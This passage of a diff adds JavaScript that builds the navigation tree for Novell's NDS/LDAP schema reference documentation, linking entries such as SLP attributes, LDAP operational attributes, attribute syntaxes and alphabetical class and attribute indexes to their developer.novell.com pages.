+ var navElement = navigationLink("NRD:Registry Index ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4386.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailAccessDomain ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4494.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailAlternateAddress ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4500.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailAutoReplyMode ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4506.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailAutoReplyText ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4512.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailDeliveryOption ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4518.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailForwardingAddress ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4524.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailHost ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4530.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailMessageStore ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4536.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailProgramDeliveryInfo ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4542.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailQuota ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4548.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:ngComponent ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4566.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nsLicenseEndTime ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4596.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nsLicensedFor ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4602.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nsLicenseStartTime ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4608.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Page Description Languages ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4710.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("preferredLanguage ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3oon3t.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Primary Notification Service ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4836.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Primary Resource Service ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4842.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer Agent Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4866.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer Manufacturer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4884.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer Mechanism Types ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4890.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer Model ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4896.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer Status ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4902.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer to PA ID Mappings ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4908.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("PSM Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4938.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Registry Advertising Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4986.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Registry Service Enabled ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4992.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Registry Srvc Net Addr ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4998.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Registry Srvc Net Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5004.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Resolution ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5022.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Resource Mgmt Srvc Net Addr ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5034.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Resource Mgmt Srvc Net Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5040.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Resource Mgmt Service Enabled ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5046.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Resource Mgr Database Path ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5052.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Resource Mgr Database Volume ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5058.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("secretary ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3oon40.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Sides Supported ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5184.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Attribute ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5190.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Cache Limit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5196.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP DA Back Link ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5202.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Directory Agent DN ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5208.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Language ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5214.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Lifetime ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5220.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Scope Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5226.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Scope Unit DN ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5232.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Start Purge Hour ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5238.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Status ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5244.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP SU Back Link ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5250.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP SU Type ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5256.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Type ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5262.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP URL ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5268.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SMS Protocol Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5274.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SMS Registered Service ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5280.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SU ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5292.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SvcInfo ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5340.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SvcType ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5346.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SvcTypeID ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5352.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("userSMIMECertificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3oorbh.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("LDAP Operational Attributes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a7lnqjy.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("createTimeStamp ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fur3q.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("creatorsName ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fur3f.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("entryFlags ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fuxcp.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("federationBoundary ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fzxsm.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("localEntryID ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fzcam.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("modifiersName ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fur3j.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("modifyTimeStamp ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fur3x.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("structuralObjectClass ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fuxcb.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("subordinateCount ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fuxci.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("subschemaSubentry ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fuxc4.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Attribute Syntax Definitions ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/h55cqjqs.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Back Link ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5533.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Boolean ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5540.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Case Exact String ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5547.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Case Ignore List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5554.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Case Ignore String ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5561.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Class Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5568.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Counter ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5575.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Distinguished Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5582.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("EMail Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5589.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Facsimile Telephone Number ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5596.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Hold ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5603.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Integer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5610.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5617.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Net Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5624.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Numeric String ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5631.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Object ACL ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5638.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Octet List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5645.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Octet String ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5652.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Path ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5659.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Postal Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5666.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printable String ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5673.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Replica Pointer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5680.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Stream ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5687.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Telephone Number ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5694.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5701.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Timestamp ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5708.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Typed Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5715.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Unknown ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5722.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Index of Classes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx1.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("A through B ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx2.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("C through D ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx3.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("E through K ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx4.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("L through M ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx5.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("N ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx6.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("O ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx7.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("P through R ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx8.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("S ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx9.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("T through Z ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx10.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Index of Attributes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx11.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("A ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx12.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("B ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx13.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("C ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx14.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("D ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx15.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("E ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx16.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("F through G ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx17.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("H ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx18.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
